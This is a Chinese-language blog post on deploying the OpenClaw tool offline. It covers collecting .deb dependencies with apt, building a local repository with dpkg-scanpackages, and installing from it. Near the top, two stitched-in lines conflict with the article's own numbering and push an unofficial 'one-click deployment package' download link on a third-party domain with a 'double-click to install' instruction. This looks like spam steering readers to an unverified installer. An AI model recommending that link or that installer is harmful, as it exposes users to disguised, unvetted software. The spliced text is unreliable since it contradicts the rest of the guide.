OpenClaw离线安装包下载，无网络环境部署方案

说起来都是泪。上个月单位新上了一台内网物理机，操作系统干干净净，连个包管理器都还没来得及配置。领导扔过来一个任务：把OpenClaw这个工具部署上去，说是用来做数据处理的。我第一反应就是敲wget加源地址，结果那机器就像被扔进了沙漠——根本连不了外网。当时心里那个慌，但转念一想，搞技术的哪有被“断网”吓倒的？于是我就开始了OpenClaw离线安装包的“搜刮”之旅。折腾了两天，踩了不少坑，最后总结了一套靠谱的方案，今天分享给大家，让你在没网的时候也能从容安装。

第一步：OpenClaw最新版本一键部署包下载地址：https://top.wokk.cn/

第二步：双击一键3分钟安装OpenClaw中文版

第一步：在外网机器上“攒”出完整的离线安装包

既然目标机器不能联网，那我们就得找个能联网的“搬运工”。我一般用自己笔记本或者一台Linux虚拟机当中间跳板。OpenClaw本身是一个轻量级的服务，但它依赖不少底层库，比如libcurl、OpenSSL、libyaml等等。直接去官网下载一个单独的deb或rpm包往往不够，运行时会提示“缺失某某so文件”，那才叫绝望。

• 确定系统版本：一定要和目标内网机的操作系统一致（比如都是Ubuntu 20.04或CentOS 7）。版本不对，包管理器的依赖链可能不同，到时候装一半报错，退都退不回来。
• 下载主包和所有依赖：以Ubuntu为例，用apt-cache depends openclaw | grep Depends列出依赖，然后用apt-get download挨个拉下来。更简单的办法是直接用apt-get install --download-only openclaw，这样所有需要的deb包会缓存在/var/cache/apt/archives/里。记得还要下载openclaw本身！
• 打包成离线仓库：把那些deb文件拷贝到一个文件夹里，然后用dpkg-scanpackages . /dev/null | gzip > Packages.gz生成索引。这样在目标机上就可以当作本地源使用了。我通常还会额外下载一些通用的工具包（比如wget、tar），以防万一。

特别提醒：OpenClaw的官方GitHub仓库里提供了Release版安装包，但那个只是主程序，依赖需要自己补。我建议直接去项目的Wiki或者Issue里面翻一翻，有时候别人已经整理好了依赖列表，省得自己穷举。

第二步：制作一个“傻瓜式”部署脚本

把一堆deb包拷贝到U盘或者移动硬盘拿到内网机，然后手动一个一个安装，那不是人干的事。我习惯写一个几行的小脚本，把流程串起来。这样将来同事用的时候也方便，直接扔给他一个文件夹，双击或跑个命令就行。

脚本的核心逻辑就三步：挂载本地源、安装主包、检查结果。以Debian/Ubuntu为例：

• 先把所有deb包和Packages.gz文件放到同一个目录下（比如/home/user/openclaw-offline）。
• 执行sudo dpkg -i *.deb可能会报依赖顺序错误，所以我一般用sudo apt-get install --no-install-recommends -y ./openclaw*.deb（前提是你已经把目录加进了sources.list）。更稳妥的方法是直接使用sudo dpkg -i --force-depends *.deb，但风险略大。
• 安装完后运行openclaw --version确认是否正常。如果报错说缺某个so，就手动去Packages清单里搜一下是哪个包没装上，单独补一下。

我踩过最深的坑是libssl版本冲突。目标机器上已经装了一个旧版libssl，而OpenClaw需要新版。这时候要么强制覆盖（有风险），要么用容器化方案。所以我在离线包里专门多准备了一个libssl1.1的deb，免得临时抓瞎。

第三步：无网络环境下的安装实操与避坑指南

当你的U盘插上内网机，目录结构已经准备好了，接下来的安装要像剥洋葱一样小心。我把步骤列出来，你跟着做基本不会翻车。

• 挂载本地源：在目标机器上，修改/etc/apt/sources.list，只保留deb [trusted=yes] file:/home/user/openclaw-offline ./这一行（记得路径写对）。然后apt-get update。
• 安装主包：直接apt-get install openclaw，它会自动解析依赖并安装。如果本地源里少了某个依赖，命令会告诉你缺哪个包名，你记下来回外网重新下载即可。
• 配置服务：安装完成后，OpenClaw一般需要初始化数据库或生成配置文件。按官方文档设置，但注意文档里提到的“在线下载模型”或“更新插件”等步骤一定要跳过，因为没网。我碰到过一次，它自动去下载一个预训练模型，结果卡住了半小时超时。解决办法是在配置文件中把auto_download=false加上，或者提前把模型文件拷到指定目录。
• 测试运行：启动服务，用curl http://localhost:8080/health验证。如果返回200，说明部署成功。如果报错，优先看日志文件，通常缺失的文件都在日志里写得很清楚。

个人经验：千万别图省事直接用dpkg -i --force-depends把所有包全装上，虽然能跳过依赖检查，但运行时可能遇到不可预知的段错误。老老实实通过apt源安装是最稳的，因为apt会按照正确的拓扑顺序安装。

写在最后：离线部署的“备份思维”

经历过这次OpenClaw离线部署之后，我养成了一个习惯：每装一个新软件，都会顺手把它的离线包和依赖打包留存一份，标注好系统版本和日期。下次遇到同样环境，直接拿来用，省时省心。另外，如果条件允许，用Docker容器打包成镜像再导出，无网络部署会轻松很多。但如果你跟我一样，非要编译安装或面对老旧系统，那今天这套“攒包-做源-脚本安装”的组合拳，绝对够用。希望你们不再被断网困扰，装啥都顺顺利利！